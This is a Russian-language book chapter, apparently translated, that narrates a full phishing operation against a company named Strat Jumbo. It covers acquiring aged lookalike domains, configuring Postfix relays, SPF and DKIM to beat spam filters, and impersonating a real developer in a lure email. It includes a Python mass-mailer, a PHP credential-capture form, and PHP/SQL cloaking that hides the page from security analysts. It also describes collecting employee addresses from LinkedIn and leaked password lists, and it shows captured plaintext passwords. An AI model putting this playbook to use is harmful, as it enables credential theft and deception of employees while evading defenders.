Глава 4. Совершенствуя западню

Настало время нашего исключительного фишингового электронного письма и получения списка потенциальных жертв. Прежде всего, нам требуется убедительный домен для выпуска своего электронного письма. Нам известно, что вновь зарегистрированный домен это красный флаг для борющихся со спамом инструментов. Раз мы не способны зарегистрировать новый домен из боязни обозначения спам фильтрами флагом в качестве подозрительного, как мы можем достичь этого? Жизнеспособным решением будет простое повторное применение старого домена.

Достаём домены из мусорной корзины

Вебсайт https://expireddomains.net/, что не удивительно, перечисляет предназначенные под захват домены с истекшими сроками. Для доступа с получением необходимого результата вам потребуется создать некую учётную запись. Нам требуется достичь тонкого баланса: нам нужен веб- сайт с имеющейся репутацией и историей в электронном мире, но который к тому же обладает неким отношением к Strat Jumbo на тот случай, если люди внимательно рассмотрят исходный адрес электронной почты. Итак, мы ищем в expireddomains.net домены, которые содержат stratjumbo. Рисунок 4.1 отображает наши результаты с некоторыми выделенными жизнеспособными вариантами.

 

Рисунок 4.1


Отклик на наш первый контакт через форму продаж Strat Jumbo

Несомненно, Stratjumbo.co.au является достойным претендентом, но у него нет обратных ссылок, что превращает его в уязвимый относительно проверок репутации спам- фильтрами. Обратные ссылки - это входящие с одного на другой сайт ссылки. Они часто применяются поисковыми системами инструментами репутации для количественной оценки популярности, а как следствие, и степени доверия к веб- сайту. Чем больше цитируется данный домен или чем больше на него ссылаются прочие веб- сайты, тем лучше его репутация. Поскольку на Stratjumbo.co.au отсутствуют обратные ссылки, лучше не пользоваться им для нашей фишинговой компании. Вместо этого мы можем воспользоваться им для размещения поддельного корпоративного веб- сайта, в котором мы будем предлагать пользователям вводить свои учётные данные.

Stratjumbotech.com, с другой стороны, просто великолепен: он обладает 11 обратными ссылками (6 из которых приходят из разных доменов), обладает названием, которое выглядит как слегка раскрученное и восходящее к 2011 году. Он также не выглядит как распространённый в чёрных списках, поскольку он не появляется в собираемых такими популярными инструментами как MxToolbox перечнями (см. Рисунок 4.2).

 

Рисунок 4.2


Проверка жизнеспособности домена в mxtoolbox.com на предмет подтверждения того, что stratjumbotech.com не представлен в распространённых чёрных списках.

[Замечание]Конфиденциальные домены

Если бы мы выбрали доставку вредоносного программного обеспечения по ссылке из электронного письма, нам бы пришлось бы принять во внимание и другое измерение: категоризацию домена. Как уже упоминалось в Главе 3, некоторые компании будут воздерживаться от перехвата определённых действий сотрудников в Интернете, например, от доступа к медицинским или банковским учётным записям. Установление отличия между веб- сайтом здравоохранения и блога по йоге осуществляется корпоративным прокси- сервером HTTPS, перехватывающим действия пользователя в браузере. Если мы обнаружим переделанный домен, который когда- то относился к категории медицинских услуг или иных потенциально обладающих конфиденциальностью веб- сайтов, мы сможем обмануть свой осуществляющий перехват прокси- сервер и избавить свой обмен от любых проверок.

Значение категории домена ни в коей степени не является стандартным понятием и сильно зависит от применяемого целевой компанией веб- прокси. Однако, выбирая домены с бо́льшим числом обратных ссылок и содержащих очевидные ключевые слова, такие как "health" (здоровье), или же известные как название банка, мы существенно увеличиваем вероятность того, что наши электронные письма будут пропущены через установленный прокси без проверки. Например, на следующем рисунке показан домен с истекшим сроком SurvivingHealthy.com, который классифицируется как веб- сайт в отношении здоровья как для корпоративного прокси сервера McAfee , так и для прокси- сервера Symantec/Bluecoat.

 

Рисунок 4.2a


 

И снова, это не целиком надёжный метод обхода проверок перехвата SSL, но он сильно увеличивает шансы в нашу пользу.

Мы определили два перспективных домена: stratjumbotech.com для доставки электронной почты и tratjumbo.co.au для размещение поддельного веб- сайта. Сам сайт expireddomains.net не продаёт эти домены напрямую, но содержит перечень продавцов доменов, что отражено на Рисунке 4.3. Мы хотим, чтобы наши следы были скрыты при помощи криптовалюты, а из перечисленных продавцов лишь Namecheap принимает платежи в биткойнах, а потому мы идём к ним.

 

Рисунок 4.3


Выводим список продавцов домена

Для продолжения покупки этих двух доменов мы кликаем по Namecheap.com и далее выполняем доступ к панели управления Namecheap, как это отражено на Рисунке 4.4. Мы настраиваем тип A записи DNS, обеспечивая то, что stratjumbotech.com будет разрешать значение IP адреса пропаганды фишинга, который мы настроили в Главе 1 (скажем, 52.16.162.47), и мы добавляем запись CNAME для обработки также и классического префикса www. Записи CNAME в DNS выступают в роли псевдонимов (nickname): имени, которое указывает на другое имя. В данном случае, мы сообщаем запросам для www.stratjumbotech.com также направляться к stratjumbotech.com, который разрешается в наш IP адрес.

 

Рисунок 4.4


Панель управления DNS namecheap

У нас имеется домен с достаточной репутацией. Мы должны позаботиться ещё о чём- то?

Манипулирование заголовками

В добавок к самому домену, программное обеспечение борьбы со спамом будет оценивать репутацию электронной почты, просматривая ещё два компонента: заголовки и тело самого письма. Заголовки содержат метаданные, описывающие адреса электронной почты отправителя и получателя, промежуточные серверы ретрансляции, подпись электронной почты и тому подобное. Тело содержит сообщение электронной почты. Для проверки того, будет ли наша электронная почта запускать какое- то программное обеспечение для защиты от спама мы воспользуемся SpamAssassin, выполняющим обнаружение спама и предоставляющего отчёт о таком обнаружении электронной почты инструмента. SpamAssassin это известный проект Apache Software Foundation, который как и большинство проектов с открытым исходным кодом, был заимствован большим числом коммерческих продуктов. Он предоставит надёжный эталон тестирования нашей фишинговой компании.

К счастью, нам нет нужды настраивать ProtonMail с нуля; поставщик безопасной и зашифрованной электронной почты ProtonMail пользуется SpamAssassin в сочетании с коммерческими чёрными списками для сигнализации о мусорных электронных письмах. Это послужит исключительными страховочными колёсиками нашего велосипеда: мы просто будем отправлять тестовые фишинговые письма в созданную нами бесплатную учётную запись ProtonMail. Внутри ProtonMail ProtonMail подставить к подробностям письма заголовки для разных применяемых им проверок и тестов, а также выставит глобальную оценку для данного электронного письма.

Проверив в ProtonMail эти заголовки SpamAssassin, мы сможем регулировать своё электронное письмо фишинга на основе политики спама предприятия из реальной практики. К примеру, возьмём результаты случайного письма со спамом, приводимые в списке ниже с посредственной оценкой 23.7. Чтобы пройти тестирование на спам, эта оценка должна быть ниже 4.0, тем самым, данное письмо на 19.7 пунктов превышает пороговое значение:


Authentication-Results: mail7i.protonmail.cf; spf=none smtp.mailfrom:sender...
Authentication-Results: mail7i.protonmail.cf; dkim=none
X-Spam-Flag: YES
X-Spam-Status: Yes, score 23.7 required=4.0 tests=BAYES_99, BAYES_999,
GAPPY_SUBJECT,GENERIC_IXHASH,TVD_SPACE_RATIO,TVD_SPACE_RATIO_MINFP
HEADER_FROM_DIFFERENT_DOMAINS,HTML_MESSAGE,RCVD_IN_IVMSIP,SUBJ_ALL_CAPS,
T_LOTTO_AGENT_RPLY... version 3.4.0
		

Здесь имеет место большое число сокращений. Давайте рассмотрим несколько основных тестов и правил, которые SpamAssassin применил к заголовкам нашего электронного письма для получения столь высокого балла. Они специфичны для SpamAssassin, но эти подходы справедливы и для прочих спам- фильтров:

  • SPF=none Относится к отсутствию Sender Policy Framework (SPF). Это основной красный флаг для программного обеспечения выявления спама. SPF это запись DNS, описывающая какие серверы авторизованы на отправку электронной почты от имени данного доменного имени. Для обхода данного флага нам потребуется установить в Namecheap запись TXT DNS, которая в явном виде выполняет авторизацию нашего пропагандистского фишинга на отправку электронной почты от имени stratjumbotech.com.

  • DKIM=none Относится к отсутствию DomainKeys Identified Email (DKIM), некой записи DNS, которая хранит общедоступный ключ, применяемый для проверки подписи, которая гарантирует целостность данного письма. Таким образом, когда мы имеем целью снижение балла спама, нам требуется вырабатывать и сохранять общедоступный ключ в записи TXT DNS в Namecheap, а также настроить свой сервер электронной почты на автоматическую подпись всех исходящих электронных писем.

  • HEADER_FROM_DIFFERENT_DOMAINS Указывает на два различных поля "from" в данном электронном письме, а именно поле SMTP FROM и поле FROM, которые не указывают на одно и то же доменное имя (для снижения балла они оба обязаны указывать на один и тот же домен). Обычно это не проблема, пока мы не полагаемся на такого поставщика услуг электронной почты как Mailchimp или Amazon Simple Email Service (SES).

  • RCVD_IN_IVMSIP Указывает на то, что IP адрес пребывает в чёрных списках коммерческих перечней спама.

Это почти все существенные проверки, относящиеся к заголовкам электронного письма, которые нам необходимо преодолеть прежде чем запускать свою компанию фишинга.

[Замечание]Замечание

Если вы решили воспользоваться платформой отсылки электронных писем, такой как Mailchimp или Amazon SES, вы получите интерфейс "указал и щёлкнул" для настройки всех обсуждённых здесь параметров, но какая забава в этом?

Маршрутизация электронной почты

Теперь, когда у нас имеется более ясная картина основных проверок на выполняемое программным обеспечением выявление спама, давайте настроим платформу фишинга, которая выполнит очистку под все такие проверки. Мы полагаемся на локальный почтовый сервер Postfix, установленный в обеих переадресующих машинах и в сервере фишинга для распространения наших электронных писем:


root@Phishing:~# apt-get install postfix
root@Phishing:~# service postfix restart
--
root@PhishingRelay:~# apt-get install postfix
root@PhishingRelay:~# service postfix restart
		

Сам процесс установки достаточно ясен на интуитивном уровне, однако если вы наткнётесь на какие- то трудности, проконсультируйтесь с руководством.

Все электронные письма будут отправляться с нашего сервера фишинга, но они обязательно будут проходить через Postfix на нашем ретрансляторе фишинга для маскировки своего первого IP адреса, что соответствует нашему подходу отказоустойчивости. Если Strat Jumbo заблокирует IP адрес нашего общедоступного переадресующего, нам всего лишь потребуется перенаправить свой обмен через другой иной ретранслятор Postfix, и всё готово.

Нам нужно настроить пару установок в своём файле настроек сервера электронной почты Postfix и выполнить следующее:

  • Указать Postfix на необходимость установления подключений TLS с получающими электронную почту серверами, когда это возможно. Например, Gmail при получении электронной почты по каналам без шифрования отображает небольшое предупреждение. Мы хотим избегать такие печальные сообщения.

  • Настроить значение имени хоста в stratjumbotech.com.

  • Позволить своему серверу фишинга применять этот экземпляр Postfix в качестве ретранслятора.

Мы настроим эти установки в своём общедоступном переадресующем ретрансляторе через его файл /etc/postfix/main.cf:


myhostname = stratjumbotech.com
mynetworks = <Outgoing_IP_Phishing_Server> 127.0.0.0/8
inet_interfaces = all
smtp_enforce_tls = yes
smtp_tls_security_level = encrypt
 	   

Соответственно, в файле /etc/postfix/main.cf нашего основного сервера Postfix мы укажем на своего общедоступного переадресующего в качестве сервера ретранслятора электронной почты и принудим его также к шифрованию:


# В нашем сервере фишинга

relayhost = 52.16.162.47
smtp_enforce_tls = yes
smtp_tls_security_level = encrypt

root@PhishingRelay:~# service postfix restart
--
root@Phishing:~# service postfix restart
 	   

Затем мы быстренько отправим тестовое электронное письмо в почтовый ящик перекидного контакта, который мы проверяем на обеспечение надлежащих настроек его службы. Заголовки данного электронного письма должны отображать лишь IP адрес ретранслятора:


root@Phishing:~# echo "This is the body of the email" \
| mail -s "This is the subject line" povoso1816@snece.com
		

Когда мы получим это электронное письмо, как и ожидалось, мы готовы продолжить свою маскировку.

[Замечание]Замечание

Для удаления внутреннего IP адреса, скрывающегося в наших заголовках, следуйте этому простому руководству от майора Хайдена. В данном случае нам не нужно это делать, новы можете находить это полезным в иных ситуациях.

Настройка структуры политики отправителя

Настройка SPF на удивление проста: нам просто требуется добавить новую запись TXT DNS, которая выполняет авторизацию нашего общедоступного переадресующего ретранслятора (ip4:52.16.162.47) на отправку электронных писем от имени своего домена @stratjumbotech.com . Обратно к инструментальной панели Namecheap (Рисунок 4.5), где мы добавляем такую запись DNS:


v=spf1 ip4:52.16.162.47 -all
 	   

Параметр -all сообщает всем прочим отправителям что им надлежит отказывать в тесте SPF.

 

Рисунок 4.5


Настройка SPF в Namecheap

Дополнительно с параметрами SPF вы можете ознакомиться в RFC 7208.

Выработка Общедоступного ключа для DKIM

Настройка DKIM потребует слегка больших установок. В своём сервере фишинга мы установим OpenDKIM:


root@Phishing:~# sudo apt-get install opendkim opendkim-tools
		

OpenDKIM это реализация подписи DKIM с открытым исходным кодом, которая действует как некий вид фильтра в нашем сервере фишинга. Она перехватывает все исходящие электронные письма, подписывает их тело, а затем отправляет их получателям. Для начала мы заменим содержимое файла настроек /etc/opendkim.conf следующими строками, которые уточняют имя домена для подписи и значение местоположения его частного ключа, который будет создан через мгновение:


# В сервере фишинга (/etc/opendkim.conf)

Domain                  stratjumbotech.com
KeyFile                 /etc/opendkim/mail.private
Selector                mail
 	   

Затем мы настроим тот порт, по которому OpenDKIM получает исходящие электронные письма для подписи обновляя его файл /etc/default/opendkim следующим образом:


# На стороне сервера фишинга (/etc/default/opendkim)

#SOCKET="local:/var/run/opendkim/opendkim.sock"

SOCKET="inet:12301@localhost"
 	   

Убедимся что мы скрыли комментарием свой файл локального сокета. Далее мы инструктируем Posix ретранслировать все исходящие почтовые сообщения в наш демон DKIM определив применяемый OpenDKIM номер порта (12301 для нашего файла настроек) в /etc/postfix/main.cf. Мы добавляем следующие строки:


# На стороне сервера фишинга (/etc/postfix/main.cf)

milter_protocol = 2
milter_default_action = accept
smtpd_milters = inet:localhost:12301
non_smtpd_milters = inet:localhost:12301
 	   

Наконец, мы переходим к своему каталогу /etc/opendkim/, который выступает тем местом, где вырабатывается и сохраняется общедоступный ключ нашего домена:


root@Phishing:~# cd /etc/opendkim/
root@Phishing:~# opendkim-genkey -s mail -d stratjumbotech.com
root@Phishing:~# chown opendkim:opendkim mail.private
		

Эти команды создают пару из общедоступного ключа mail.txt и частного ключа mail.private, выделенных для пользователя OpenDKIM. Последний это тот же самый ключ, на который мы ссылались ранее в /etc/opendkim.conf.

Наш общедоступный ключ mail.txt публикуется в записи TXT DNS, которую мы настраиваем в своей инструментальной панели Namecheap (Рисунок 4.6).

 

Рисунок 4.6


Добавление записи DKIM DNS в Namecheap

ПАосле выполнения этих настроек мы перезапускаем в своём сервере фишинга OpenDKIM и Postfix:


root@Phishing:~# service postfix restart
root@Phishing:~# service opendkim restart
		

Мы можем проверить свою окончательную конфигурацию нашего сервера электронной почты отправив тестовое письмо практически в любую службу электронной почты (Gmail, ProtonMail, Yahoo, Yandex и тому подобные) и просматривая получаемые заголовки электронных писем:


Authentication-Results: mail7i.protonmail.cf; spf=pass smtp.mailfrom:sender...
Authentication-Results: mail7i.protonmail.cf; dkim= pass (2048-bit key)
X-Spam-Status: No, score -0.1 required=4.0 tests=DKIM_SIGNED,DKIM_VALID,
 DKIM_VALID_AU, SPF_PASS
 	   

Прекрасно! SpamAssassin предоставляет нам низкий бал - 0.1, указывающий что наш почтовый сервер достаточно хорошо настроен для начала чистой фишинговой компании.

Теперь мы перейдём к реальному содержимому своего электронного письма.

Наживляем свой крючок

Работники Strat Jumbo это в основном разработчики, а потому нам следует выбрать предмет, которым потенциально будет завлечён программист. Нам требуется нечто, что временно эмоционально увлечёт их, но это будет полностью забыто в тот момент, когда они закроют этот веб- сайт.

Как насчёт нового подключаемого модуля, разработанного австралийской командой Strat Jumbo, поскольку мы будем размещать свой поддельный веб- сайт в домене co.au, который обладает сходством с com.au? Мы сообщим, что бета- версия подключаемого модуля доступна для прочих офисов.

Нам не нужно чересчур вдаваться в детали, а просто попросить их оставить отзыв о данном подключаемом модуле. Мы находим имя настоящего разработчика в LinkedIn и выбираем близкое к этому имя, чтобы ещё больше наплести свою прочную паутину обмана. Вот наш черновик:


	 
Hello, As some of you probably know, our teams in Australia have been working on an exciting new linter for our favorite IDE. Today we would like to share a beta version of this plugin with your offices, so feel free to give it a spin and give us your feedback: Hero plugin Kind regards, Michael Han Senior programmer T +61 02 9912 3981
 

Как видите, этот текст вполне уместен, не перегружен знаками пунктуации и не содержит скрытых ссылок или текста в верхнем регистре с призывами щёлкнуть по ссылке. Вместо этого, он небрежно предлагает кликнуть и загрузить подключаемый модуль, применяя простой и логичный язык.

Код изображения в подписи служит не только для отображения логотипа компании и заверения пользователей в её подлинном происхождении. Он также позволяет отслеживать сколько людей открыло данное сообщение: всякий просматривающий данное сообщение получает данное изображение с нашего фишингового сервера через его общедоступный ретранслятор.

За сценой, имеется код HTML, который вставляет изображение и читаемый следующим образом:


<img src="https://www.stratjumbo.co.au/static/img/logo.png" alt="strat jumbo logo" />
 	   

Также мы будем пользоваться электронной почтой для персонализации целевой страницы нашего фишингового сайта. Содержащаяся в нашем электронном письме ссылка содержит уникальный тег для каждого электронного письма для отслеживания целей если они переходят на нашу страницу. Вот один образец:


https://www.stratjumbo.co.au/plugin-corporate-offer/?utm_term=FAgUHRNXNj06FjtM
 	   

Казалось бы, произвольный объект данных FAgUHRNXNj06FjtM в нашем параметре utm_term является зашифрованным именем нашей цели. Когда этот пользователь кликнет на данную ссылку и будет переправлен на нашу страницу фишинга, это зашифрованное имя позволяет нам предоставлять какую- то персонализацию приветствия наподобие "Welcome Steve", которое обманывает их, заставляя полагать, что данный веб- сайт неким образом обладает доступ к их личности через обычный корпоративный каталог пользователей.

Для выработки такого токена из конкретного имени мы воспользуемся простой операцией XOR в Python к полному имени перед отправкой данного электронного письма:


def xor_string(data):
    key = b"PibtwweIOwI8S6VElRHpm4w4L6vFYJWkPzxITZ5BRo"
    xored = bytes([a ^ b for a, b in zip(key, data.encode())])

    return base64.encodestring(xored).strip().decode()
 	   

Получение реальных имён сотрудников это несложная часть и мы займёмся таким получением перечня позднее. А пока давайте допустим что мы собрали такой список.

Нам требуется быстрый и подлый сценарий, который в цикле будет обходить по имеющемуся списку имена сотрудников, создавать персональную ссылку через вызов функции xor_string, включать эту ссылку в соответствующее электронное письмо и отправлять такое письмо через локальный сервер Postfix, который мы создали ранее. Приводимый в Листинге 4.1 код обладает интенсивными комментариями и достаточно прост, так что не поленитесь вникнуть в него.

 

Листинг 4.1. Сценарий Python для создания и отправки нашего фишингового электронного письма


#!/usr/bin/python3

import smtplib, time, base64
from email.message import EmailMessage

# Включаем предыдущую функцию xor_string
def xor_string(data):
  pass

# Шаблон электронного письма с логотипом компании
email_template = """\
Hello,
--snip--
<a href='....?utm_term={0}'></a>
--snip--
"""

# В качестве входных данных мы берём список имён
with open("list_names.txt") as f:
  for target in f:
    target = target.strip()

    # Собираем шифрованный объект utm_term
    encrypted_name = xor_string(target)

    # Создаём контейнер сообщения
    msg = EmailMessage()
    msg["Subject"] = "Beta linter for our IDE"
    msg["From"] = '"Michael Han" <michael.han@stratjumbotech.com>'
    msg["To"] = target + "@stratjumbo.com"

    # Создаём тело своего электронного письма
    body = email_template.format(encrypted_name)
    msg.add_alternative(body, subtype="html")

    with smtplib.SMTP("localhost") as s:
      s.send_message(msg)

    time.sleep(2)
 	   

Мы выполняем несколько проверочных прогонов на адресах Gmail и Outlook чтобы убедиться что мы преодолеваем их спам- фильтры. Если ваше электронное письмо не попадает в папку inbox, обычно это означает что либо было неверно выбрано доменное имя, либо сама формулировка этого письма была сочтена подозрительной. Рейтинг спама взлетает ракетой при наличии таких фраз как free, click here, big opportunity и аналогичные.

Никогда не забывайте регистрировать адрес почты источника (в данном случае michael.han@stratjumbotech.com чтобы допускать ответы. Это столь же просто как установить параметр переадресации в вашем поставщике DNS на допустимый электронный почтовый ящик (proton.mail.com, mailfence.com, yopmail.com или любой иной применяемый вами). Это и в самом деле окажется пустой тратой времени на все данные затруднения только потому что оказавшиеся достаточно требовательные пользователи, озаботившиеся ответом, получили бы сообщение об ошибке в котором бы говорилось, что данный адрес электронной почты не был зарегистрирован.

Далее мы сосредоточимся на настройке своего веб- сайта, которому этот персонал доверит свои учётные данные.

Собираем сайт

Мы хотим спроектировать выглядящий легитимным вебсайт, который одурачил бы наиболее любопытных криминалистов. Лишь одна скрытая страница будет содержать нашу форму захвата паролей, которая обманом принуждает пользователей выдавать свои пароли. Мы озаглавим свой сайт Strat Jumbo Technology.

Мы настроим веб- сайт WordPress с базовой темой, которая в значительной степени вдохновлена цветовой палитрой Strat Jumbo. Следуйте официальному руководству WordPress. если вы ещё не знакомы с процессом его установки.

Самый быстрый и простой способ достижения высокой точности состоит в заходе на один из веб- сайтов Strat Jumbo при помощи инструментария HTTrack. Я склонен следовать подходом с большим объёмом работы вручную. В конце концов, не существует двух веб- сайтов, абсолютно похожих друг на друга и можно позволять себе некоторые вольности тут и там.

Тем не менее, имеются некоторые ключевые переменные официальной площадки, которые обязаны оставаться абсолютно неизменными, потому как они непосредственно обращаются к бессознательному восприятию сознанием. К ним относятся согласованность в цветовой схеме, семействе шрифтов, тональности диалогов, межбуквенных интервалов, толщины строк и стиля изображений. Если мы сделаем всё верно, мы обманем большинство пользователей в том, что заставим их полагать, что они пребывают на надёжном корпоративном веб- сайте. Мы представим свой поддельный веб- сайт в качестве некого маркетингового блока, применяемого руководством для обмена последними бета- версиями подключаемых модулей, обсуждения функциональных возможностей IDE и повышения имиджа Strat Jumbo. Если задуматься, ни один из сотрудников не знаком со всеми своими корпоративными веб- сайтами. Проклятье, даже ИТ администраторам трудно уследить за появлением и исчезновением корпоративных сайтов в маркетинговых инициативах.

Чтобы сделать его ещё более достоверным, мы берём несколько статей о программировании и загружаем их на свой веб- сайт (Рисунок 4.7), подписывая их законными именами сотрудников, которые мы получаем с LinkedIn.

 

Рисунок 4.7


Уловка для программистов

В разгар всей этой шарады мы добавляем одну скрытую страницу, которая заявляет о новом подключаемом модуле и для загрузки указанного подключаемого модуля предлагает пользователям пройти аутентификацию, воспользовавшись своими корпоративными учётными данными. Заметьте, ничего особенного; основная часть убеждения уже была осуществлена при помощи нашего электронного письма и представленных шаблонов веб- сайта. Мы добавляем персональное приветственное сообщение, отображаемое в в правом верхнем углу Рисунка 4.8. Мы даже предварительно заполняем его именем свою форму аутентификации. Это послужит небольшим толчком, требующимся для того, чтобы скинуть нашу цель со скалы.

 

Рисунок 4.8


Изысканный запрос учётных данных

Естественно, в действительности у нас нет подключаемого модуля для них, поэтому, когда наша невольная жертва вводит свои учётные данные, мы возвращаем сообщение о том, что этот подключаемый модуль скоро будет доступен для их страны. Сам серверный код обработки вводимых учётных данных представляет собой простой перехват формы (Листинг 4.2), который записывает учётные данные в обычный текстовый файл и отправляет ответ.

 

Листинг 4.2. Перехватчик формы для захвата и сохранения учётных сведений


// Когда регистрационные имя и пароль имеются и они не пустые
if (isset($_POST['login']) and $_POST['password']
    and !empty($_POST['login'])
    and !empty($_POST['password'])){

// Отобразить сообщение об ошибке и затем записать учётные данные в файл
    echo "The plug-in will be available in a couple of days in your region, please come back soon!";

    $data = $_POST['login']."\t".$_POST['password']."\n";

    file_put_contents('/tmp/results.txt', $data, FILE_APPEND);
}
 	   
[Замечание]Замечание

Для написания кода в постах и на страницах WordPress пользуйтесь подключаемым модулем insert_php.

Хотя в большинстве случаев данная настройка сработает, достаточно лишь одного подозрительного программиста чтобы он переслал своему приятелю- аналитику и вся компания целиком обречена. Как мы можем защититься?

Отвлекаем аналитика

Дабы подозрительные аналитики не заметили нашего сайта и не разоблачили наше прикрытие, мы добавим небольшую диверсию: загрузочный код, который следует некой основной логике чтобы решать отображать нашу фишинговую страницу или нет.

Всякий получивший наше фишинговое письмо намеренно получает уникальный URL- адрес нашей секретной страницы благодаря своему зашифрованному имени, включаемому в параметр utm_term. Мы можем предположить, что в большинстве случаев пользователи сразу же последуют своему побудительному импульсу немедленно щёлкнуть ссылку и не будут задумываться об этом снова, поэтому адрес URL для каждого пользователя будет предусмотрен лишь один раз. Это предположение мы можем перевести в свой код и автоматически изменять содержимое страницы когда один и тот же адрес URL просматривается более одного раза - например, любопытным аналитиком, которому подозрительный пользователь переслал своё полученное им электронное письмо.

Естественно, эта небольшая уловка слегка снижает вероятность получения учётных данных пользователя, ибо упустивший свою возможность ввести пароль пользователь больше не будет иметь доступа к такой странице, но повышение безопасности того стоит.

Для выполнения данной уловки мы сначала создадим таблицу SQL с четырьмя столбцами: идентификатор строки, значение токена utm_term, которое представляет собой зашифрованное имя цели, счётчик посещений и, наконец, дата первого визита.

Всякий раз когда пользователь загружает свою страницу, мы проверяем значение поля счётчика, связанное с уникальным параметром utm_term. Если оно больше 1, мы можем быт уверены, что этот пользователь уже взаимодействовал со своей фишинговой страницей, а следовательно, безопасно перенаправить его на его домашнюю страницу. Вот код SQL для создания необходимой схемы таблицы и загрузки зашифрованных токенов:


root@Phishing:~# mysql -u root -p
mysql> CREATE TABLE tokens (
id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
utmterm VARCHAR(100) NOT NULL,
counter smallint,
updated_at datetime
);
mysql> INSERT into tokens values(null, "FAgUHRNXNj06FjtM", 0, null);
mysql> INSERT into tokens values(null, "AwgQFR9XITw7AyBdIQ==", 0, null);
--snip--
		

Отлично, теперь у нас имеется база данных, нагруженная зашифрованными токенами, готовыми отслеживать кто именно посетил данную страницу и когда он это совершил.

Затем нам потребуется загрузочный код PHP. Он проверит такую базу данных SQL на предмет того какой именно вид действий надлежит выполнять при каждом запросе этой страницы. Когда страница уже была посещена данным пользователем (счётчик > 0), он загружает фиктивное содержимое, которое имеет в точности такую же длину, что и форма для захвата пароля. Если же пользователь ещё не посещал данную страницу, обслуживается фактическая страница фишинга.

Я избегаю применения переадресаций когда пользователи в явном виде не вмешиваются в параметры, что указывает на то, что они, скорее всего, являются аналитиками. Потенциально, просматривающий данные прокси- сервера аналитик способен выявить несоответствие между успешно загрузившими страницу в первый раз (код HTTP 200) пользователями и теми же самыми пользователями, которые получили отказ при повторном её визите (код HTTP 302). Затем они способны сделать вывод, что на стороне такого сервера имеется некий механизм фильтрации, а тем самым получить стимул к дальнейшему расследованию.

Листинг 4.3. отображает такой код PHP.

 

Листинг 4.3. PHP определения того должен ли пользователь обслуживаться нашей страницей фишинга или перенаправляться на свою домашнюю страницу.


// Когда токен utm_term отсутствует или он пустой, перенаправляем на основную страницу
if (!isset($_GET['utm_term']) or empty($_GET['utm_term'])){
    header('Location: /');
}

// Устанавливаем подключение к MySQL
$db = new PDO('mysql:host=localhost;dbname=catalog_db3;charset=utf8mb4', 'wp_user',
'Kja98&o:Lkaz098');

// Выполняем выборку значения поля счётчика попыток обращения к этому параметру utm_term в базе данных
$stmt = $db->prepare("SELECT * FROM tokens WHERE utmterm=:utmterm");
$stmt->execute(array(":utmterm"=> $_GET['utm_term']));
// If page viewed first time display earlier form
if ($row = $stmt->fetch(PDO::FETCH_ASSOC)
    and $row['counter'] == 0) {

    // ВСТАВКА ИЗ КОДА ЗАХВАТА из Листинга 4.2
    // Увеличиваем значение того счётчика, который отображается в данный момент
    $stmt2 = $db->prepare("UPDATE tokens set counter = 1, reg_date=NOW() WHERE utmterm=:utmterm");

    $res = $stmt2->execute(array(":utmterm"=> $_GET['utm_term']));
    // Если не найден соответствующий токен, тогда выполняется его подделка с тем,
    // чтобы мы были перенаправлены на соответствующую домашнюю страницу
    } else if (!$row){
      header('Location: /');

    // Когда пользователь выполняет посещение второй раз, покажите обычную ошибку с дополнением пробелами
    } else {

    echo "The plug-in will be available in a couple of days in your region, please come back soon!";}
 	   

Охотимся на пользователя

Как только обманутый пользователь вводит свои учётные данные, веб- сервер записывает эти учётные данные в файл и вознаграждает своего пользователя сообщением об ошибке, удостоверяющем его, что подключаемый модуль скоро будет доступен в его регионе. Отлично! Теперь нам просто нужен перечень целей, которым надлежит отправить это сидеть сложа руки и наслаждаться го детёныша и мы сможем наплывом паролей.

Благодаря своему обмену сведениями с бизнес- отделом, нам известно, что Strat Jumbo применяет формат электронной почты имя.фамилия@stratjumbo.com. Поэтому мы можем полагаться на LinkedIn чтобы выявить относящиеся к делу адреса для текущих работников осуществив поиск соответствующих должностных описаний в Strat Jumbo (Рисунок 4.9).

 

Рисунок 4.9


Нарываем свои потенциальные жертвы

Мы также можем обнаруживать списки адресов сотрудников, выполняя поиск в Google по вхождению @stratjumbo.com. Или, поскольку мы имеем дело с большой корпорацией, мы могли бы проверить списки утекших паролей для адресов электронной почты, принадлежащих Strat Jumbo. Это великолепная стратегия, поскольку порой мы способны найти рабочие пароли для их повторного применения в корпоративных платформах в подобных перечнях.

Каким бы сочетанием мы не воспользовались, как только мы соберём значительный список примерно из 200 реальных адресов электронной почты, мы выберем некое подмножество, скажем, из 120, в качестве своей первой проверочной партии. В конце концов, наша электронная почта может содержать некие не известные нам помеченные ключевые слова, которые могли быть получены от предшествующих нацеленных на Strat Jumbo спам- писем и о которых мы не знаем, или же, быть может, у Strat Jumbo имеется изощрённое устройство мониторинга, которого мы не ожидали. Было бы неблагоразумно ставить все наши средства на один смелый шаг, включающий в себя все собранные нами адреса электронной почты, поэтому давайте действовать постепенно и не торопясь.


root@Phishing:~# python send_mail.py
		

Поскольку мы пользуемся веб сервером Apache для размещения картинки в подписи своего электронного письма, мы исследуем соответствующий файл журнала в /var/log/apache2/access.log для просмотра запросов. Мы достигаем этого применяя команду tail, которая открывает соответствующий файл журнала и отправляет конвейером его содержимое в команду grep, выполняющую поиск имени файла этой картинки:


root@Phishing:~# tail -f /var/log/apache2/access.log |grep logo_img.png
182.239.127.147 - - [27/Jan/2021:08/12:11 +0000 "GET /static/img/logo.png HTP/1.1" 200 5700 "–"...
		

Уже есть первое попадание! Один из 120 достаточно низкий счёт - однако давайте подождём. Обычно 90 процентов всех потенциальных попаданий произойдут на протяжении первых 8 часов.

Любое значение открытий ниже 5 процентов будет означать, что наше сообщение было отловлено спам- фильтром. Однако в нашем случае это кажется маловероятным, учитывая реакцию первого пользователя и множества выполненных нами проверок и этапов настроек.

Мы возвращаемся через пару часов и проверяем свой файл /tmp/results.txt, в котором наш перехват формы сохранил учётные данные кодом Листинга 4.2. И вот, 25 пользователей уже удостоили нас своими паролями, а счёт продолжает расти:


root@Phishing:~# cat /tmp/results.txt
laura.stevens  5yadorChan09
janet.mcintyre Molly_Dorian5
jim.marrot     GabrielSanta89
david.stuart  Jumbo12March
richard.burk  LeilaClapton10
moinica.fourb WishYouHere*A
--snip--
		

Если это не один из наиболее сексуальных моментов, то я ничего в нём не понимаю!

Ресурсы

Забавный сценарий для автоматизации разбиения на категории проверок по различным прокси: https://github.com/mdsecactivebreach/Chameleon/

Пошаговое руководство настройки веб- сайта WordPress: https://wordpress.org/support/article/how-to-install-wordpress/